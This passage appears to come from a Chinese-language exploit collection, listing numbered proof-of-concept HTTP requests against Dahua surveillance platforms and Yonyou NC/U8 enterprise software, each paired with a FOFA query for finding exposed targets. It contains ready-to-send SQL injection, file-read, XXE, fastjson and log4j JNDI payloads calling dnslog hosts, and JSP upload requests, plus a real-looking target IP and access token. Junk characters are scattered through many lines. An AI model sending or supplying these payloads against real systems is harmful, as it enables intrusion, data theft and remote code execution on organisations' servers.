! i' _$ Q) J7 J) h( x! A9 kGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
' [9 c/ X6 `3 g, J. gAccept-Language: en
" g$ [' d  C0 s9 m( D8 S" _9 h; KAccept-Encoding: gzip
/ M" z$ c2 s" S: i6 _# w. G$ X
+ N7 T% _9 Q9 q# i* z) @2 d
% X% x4 z5 W! ?: k; s5 }7 D2 L17. 大华 DSS itcBulletin SQL 注入
( J2 D! J* S! g& O, H) q( YFOFA：app="dahua-DSS"
7 r- e' ]& `( h2 G0 b, `POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
( \2 B" ]% H2 M; m$ nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
Accept-Encoding: gzip

" J+ S1 e2 k, N% e* P  v0 @( m# V<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
' \0 S8 V8 f$ n- x5 ]3 p       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
$ Z- L# ~8 t- a* E$ k( j/ {. w* C1 ^      </netMarkings>
. H2 R* h* {9 h7 z2 K4 I2 l    </ns1:deleteBulletin>
3 s7 p# \3 r- V0 e8 x5 X( J1 n+ T% q  </s11:Body>
</s11:Envelope>
1 l0 ]; \+ F5 `- y

* b% l& T3 ]! y18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
0 c! q3 {" S0 A! Y/ UGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
" a! D6 w! R# j8 IHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
  L' a' m$ h0 u& {Accept: */*
Connection: keep-alive
& [$ d' m$ M' h( w: X. d! ~$ |/ j# q


( p# j/ e5 v: A6 E% ]% E7 {19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
+ M- z! J2 v& A% NFOFA：app="dahua-DSS"
. V, k# v$ w& ]0 PGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
1 {6 p# q8 K' ]% Y$ l* v+ b2 ~Host:
6 f& y6 \/ l; R2 {2 M' jUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
! Y1 v7 p# `4 @: n+ r# rAccept-Encoding: gzip, deflate
Accept: */*
. b7 C& i% i% E2 {- BConnection: keep-alive

6 i! I- D$ g$ U% k0 u0 D1 e3 T
9 k, A: u- C4 e20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
2 y# x$ _' M3 p. @* ^1 H+ VHost: x.x.x.x
, T7 X" j  c- N) hUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
+ k! A" A2 f1 a  b' B" K  bAccept-Encoding: gzip


21. 大华ICC智能物联综合管理平台random远程代码执行
8 E- J3 Q" H: KFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 T& a! J% s. J- fContent-Length: 161
Accept-Encoding: gzip
! I- x0 p: d/ VConnection: close
Content-Type: application/json;charset=utf-8
! g. F0 O# U) [9 x
{
6 @5 x: g; d( V: r9 g! ~, r! ["a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
* e; J/ t4 J! i$ u. b}
3 [% k2 g( R* [  X9 f# H5 w

1 ~9 G/ o" ~) t" n/ i22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
* ~$ }$ g9 d* t+ j) d* e+ PHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
. f2 K8 q7 x- w) x/ f% q0 u
- H: A- t7 E; I  U4 H9 [{
"loginName":"${jndi:ldap://dnslog}"
1 Z  ~3 ?5 f5 _8 u  S; o) v8 b}

% d% T' v" q( |- d/ K: y

23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
  b8 ~0 z0 B4 bFOFA：icon_hash="-1935899595"
1 V  X6 Z' p' D  _5 TPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
5 {0 s- P6 t0 p* Y# m; Q! KHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
5 t+ h" d7 _. s- j) aAccept-Encoding: gzip
2 m4 Y0 m$ U. N. {! T4 b7 fConnection: close
# R. L8 o* Z+ M9 b- j; K) L
{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
/ q1 m  K, @+ F- K       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}

" d. t6 \& z+ Y
* Q! q# B0 K. l" m3 D  ?24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
; ^$ E1 {& m0 TUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
, L! C; I5 M! ~Connection: close
9 X! e$ }+ p( H. WContent-Length: 449
Accept: */*
6 w* s# s( e6 oAccept-Encoding: gzip
4 s, F. f% i7 j3 H6 {' J2 YContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
9 e8 ]  V5 s1 M) L3 ^Content-Type: text/plain

<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
1 [0 P2 B: v: B5 @
3 {' q" e# @; P  [\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--


" Y  I8 |' t7 _) P; e  f, e25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
) X" T4 c1 ?- M" m  R  k6 h8 rPOST /portal/registerServlet HTTP/1.1
+ ~2 `# b) t' H# K0 _6 QHost: your-ip
4 P2 o, k( p& y* y1 x% \3 G; CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
, Q1 g! F6 y7 V. H- ~( CContent-Type: application/x-www-form-urlencoded

, r, p, `+ Z/ e& B! ctype=1&dsname=ldap://dnslog
6 R5 A3 R9 C: l- C2 e3 e
0 a2 a5 r8 E1 y+ P6 V% X1 }
8 b9 i0 v. k# _& P2 D
26. 用友NC linkVoucher SQL注入
/ Y) d* n" y% u( `1 EFOFA：app="用友-UFIDA-NC"
/ a$ U* B9 Y/ {# TGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
4 c3 W3 m- v9 N4 P$ F  p$ Y+ a# XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
2 {3 t8 {# O9 z; Y8 EAccept: */*
Connection: keep-alive


4 \8 b: U: O5 @8 n: t27. 用友 NC showcontent SQL注入
' c2 F: |' r0 `4 d0 MFOFA：icon_hash="1085941792"
2 u$ n: {! u0 W7 Z& nGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
- _# a. |/ C3 r6 B$ ^Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8


28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
1 f' \& j  ]* DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
6 M# U% _# q9 E) W) w/ ~8 xConnection: close
Content-Length: 268
7 U( T& r2 }1 G9 _Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
3 t0 o" ~+ a& S6 L2 N/ ~Accept-Encoding: gzip
& @3 z% |. e2 Y
* r6 |0 }) p1 K9 f& l6 c' h------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

8 j  w* E/ q" ]9 x- `1 V<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
7 q2 v& i  z* P. B: h  v8 j5 c3 _
% m( \& Y6 J: S5 G" V. y* r2 V$ L
/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
' \- ~; E, Q. K, p  a! ~6 _# RGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
. c, F6 k* E. u, v& g" c, ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 \  m3 b) }6 t6 S, j  z' z0 NContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
- m  H# P9 a6 y1 {( ^* a0 TConnection: keep-alive
- C+ o( `8 l; a& z; v" V
" Q" Y. ?$ y" _: p. I
7 z& l* k5 B! D6 k1 y+ P30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
6 n( _9 ]) {) V: ?, FPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
7 z3 w; G0 P7 }) M: B( h. R5 t8 `Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
7 d2 Q# A2 ]+ x' `: C
( e! F% T# f# p, N6 V------WebKitFormBoundaryH970hbttBhoCyj9V
8 U9 d' i/ S. d" R2 QContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
9 K& L+ Y( W9 [0 t- e0 n------WebKitFormBoundaryH970hbttBhoCyj9V--
  [2 C0 Q+ K- H8 `6 Q* b! a$ F! g( w

* a+ L9 ?7 R# b( d  L6 W31. 用友NC runStateServlet SQL注入
0 X- W. h6 t& N4 rversion<=6.5
/ V1 K; z& M" k9 V5 iFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
1 M( x5 c- p' X. C( B/ o$ C6 p: @& LGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
. H9 k. [. `' g4 \% {3 ~- e2 WHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded


32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
7 Y1 b) F- j/ m$ p# D, F! n. rGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 u/ j% C. y$ C9 LContent-Type: application/x-www-form-urlencoded
8 Q% w) R0 ]% V& ]Accept-Encoding: gzip, deflate
7 `  c1 H; a7 P% b! BAccept: */*
0 u1 a/ V) a6 R. wConnection: keep-alive
* `+ L- B6 d) v
0 s: e3 o& l) r0 r5 V- ^
33. 用友NC downTax/download SQL注入
6 A$ q. p& B  c0 n1 tversion：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
8 y" t/ J- A5 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
; z5 s) y, o. A6 ~Accept-Encoding: gzip, deflate
0 s% @0 p2 Q( E' `9 Y8 t3 ?! gAccept: */*
7 s& X* G" _2 S2 e" h% sConnection: keep-alive


1 p% f- T3 b6 ^# D/ h34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
3 A4 ~5 ]$ W- Q$ h: k2 s5 eHost: your-ip
/ o8 n% D6 m1 q% AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ Q2 j* G( U+ c. ~9 qContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

$ \5 g9 j( J! D: |* `7 \
35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
: t/ J6 o( E' P/ R! P  aPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
/ D* r% A+ D0 g! T* cUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
9 F9 S- I0 i! Z5 E8 `4 BAccept: */*
4 ]2 o. |* ~0 h3 [0 W. G- S% }Connection: close
  R$ f) l; z1 A6 p: ~accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
/ J& x: f4 i+ m4 z1 W) E* P" ~+ p& j
--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

<%out.println(1111*1111);%>
$ b; n( u3 w  M+ k& `/ [5 r: A- @--fd28cb44e829ed1c197ec3bc71748df0--

7 l& D2 m7 ]+ |( R9 n1 z
( B! L( g9 e% s* W0 K36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
. c9 j. R8 h/ KPOST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
5 e% T( @3 K2 i4 D, ]3 r# E5 g/ NContent-Length: 263
( S. l; T, Z, c$ tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
0 ^( Q$ h( H+ L7 c9 t$ d  ~! F1 n- zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) n4 l& W2 Z4 j/ {) WConnection: close
" O. p. x, }- K" v, eContent-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
% Y$ H2 W. V! v6 R1 S% {+ V. \
msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
/ O$ N& S& L5 r0 ?1 N

37. 用友NC-Cloud IUpdateService XXE
& {4 C$ f* D; b( o/ C9 HFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
+ ^# i/ w4 K9 i7 b9 z5 Z/ a0 yPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
+ o# ~* b  o. L0 rHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
$ J4 z8 u+ I0 pContent-Length: 421
/ o8 B; V8 A6 B; [6 x  d' ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
" f; g$ g; D4 vConnection: close
, }' b. C5 N. p7 D! z$ pContent-Type: text/xml;charset=UTF-8
. a" K8 T# v$ uSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

! {% w8 W( X) `0 d<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
+ R, t% y8 b9 x) e/ T<soapenv:Body>
& ^$ z7 C% q9 {; w; x6 E: _% I<iup:getResult>
* L7 ]7 V+ v+ U; f5 s& }" X  d<!--type: string-->
/ j, X0 M5 H5 ]/ S+ |( _1 T<iup:string><![CDATA[
6 @/ b/ G) _, h- v) o2 w) R5 g<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
; c9 D* Z8 V& p; G<xxx/>]]></iup:string>
</iup:getResult>
: y6 [& [( R2 G% }. _</soapenv:Body>
; Q- N# \/ B, }4 l# L$ ^</soapenv:Envelope>



38. 用友U8 Cloud smartweb2.RPC.d XXE
9 g' _  M" [1 U- l- g0 [FOFA：app="用友-U8-Cloud"
$ ~$ `- A# o& e. V) PPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
5 l3 q( I1 t7 h: V/ c, T3 i! h: YHost: 192.168.40.131:8088
: b% c+ ^/ B3 `8 \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
7 m/ x# M* ?+ Q. s- o6 e7 z  [8 DAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
# E* _3 `  n* D7 L- f( F3 U6 xConnection: close
" w; g! q# E  r8 pContent-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
+ F! o% N' H2 Z5 ?, ?- I, P: w" yPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
2 O  P" Q, _3 p6 Q7 b7 MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
# O+ d5 G- y1 y8 vConnection: close
Content-Length: 85
Accept: */*
3 |/ I5 y& K7 R8 X; @Accept-Language: en
& I  R2 s3 j4 A; T, l. WContent-Type: application/x-www-form-urlencoded
9 Q! l) H0 @+ C4 ZX-Forwarded-For: 127.0.0.1
& A# F: V4 r- {, ~$ q2 [Accept-Encoding: gzip
! i$ G; \( ], o+ B5 {( c
# H/ M0 X7 |' g# xusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


8 c0 V5 H* a  {+ L# n7 i* X9 W40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
/ e9 h: G  Q2 j  Z7 {POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
" `" f, e, ^2 m' v! ]$ q) VUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
' U6 y, l$ Z5 f. iConnection: close
+ e9 D2 p/ s9 G& F' S0 V
6 \6 X1 l* o5 }' O* c) \<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>


41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
, L' _/ I& e8 NHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 G" B" z; j3 VContent-Type: application/json
  E# w/ M* U; OAccept-Encoding: gzip
Connection: close


42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD
3 ~1 m2 G" I% C. z9 Z8 B5 Y* Y% C% R  Z
# M9 T$ b3 F6 c7 p
. q; y. J/ U! o0 M" I; A4 H- X1 vhttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
: Q4 n: t0 M% p5 A, o0 }" O, \
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
( x) O+ M: U/ ~: }; S" RFOFA：app="用友-GRP-U8"
2 D# F! S8 z  iPOST /services/userInfoWeb HTTP/1.1
4 ]* t& N3 G, J' i5 w" xHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
) V$ F" T+ @5 }" T! h, D4 b$ i; PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* z* N) o) R2 R; f" J" aAccept-Encoding: gzip, deflate
/ i0 \8 h) X0 L( q5 Q( Z4 y* h* OAccept-Language: zh-CN,zh;q=0.9
" |/ X1 \% E5 L& e8 VConnection: close
1 F, P" r- s( z# T4 sSOAPAction:
* F2 b8 f1 o6 @) K4 LContent-Type: text/xml;charset=UTF-8

' q! T2 C3 ]/ v" i- I2 N) t6 O' Q<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
/ n  j, O) L. ?7 _0 A8 N3 r   <soapenv:Header/>
   <soapenv:Body>
9 V4 Q* r1 O: F, R* i      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
9 `- ]; s+ c7 ^0 U3 ~. s         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
9 w' P7 J+ J$ z! \      </ser:getUserNameById>
! }+ O+ u4 c! I* F   </soapenv:Body>
</soapenv:Envelope>
3 f# _& [$ M3 D% Z9 \

6 D! s. N: S% i& ?6 u( ]44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
: |) E* @) ]4 {) GGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
7 g3 A/ l% z7 j3 e! V/ S6 ~Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* ]% M; v% F) C0 ?) uAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 B3 \4 a! `, g2 l4 t* eConnection: close
+ M2 h+ \( A3 ^' C+ i
9 r, z- \* @/ p( U0 u* w. E- l' R
45. 用友GRP-U8 ufgovbank XXE
) \# k9 t6 K& TFOFA：app="用友-GRP-U8"
9 Q* I8 `5 t% W% \0 e& n& JPOST /ufgovbank HTTP/1.1
( {5 S( k4 Z( [1 Q2 sHost: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
, W- J0 f6 j% M( ~Connection: close
$ c2 M4 e" T9 C2 wContent-Length: 161
' P/ `% o- O. k7 }) d" g3 i9 E. TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
1 g8 x& ]  Y1 V! t3 e
( }" t( J2 V$ F# U6 b- E9 U, LreqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


( }! ~" U  [$ m+ \! U46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
, v/ V* e$ O+ l" v# _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
; d* u5 ?7 L. h/ M7 sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& b$ q& A" ~# O9 D* @4 z" iAccept-Encoding: gzip, deflate
& b, A- j; t% d, @8 uAccept-Language: zh-CN,zh;q=0.9
Connection: close
! O1 ^3 K: `& ?* \

" N3 t$ t6 \( a! i7 b/ Y47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
1 @6 R& V, P9 W8 a4 u2 Y% }- [GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
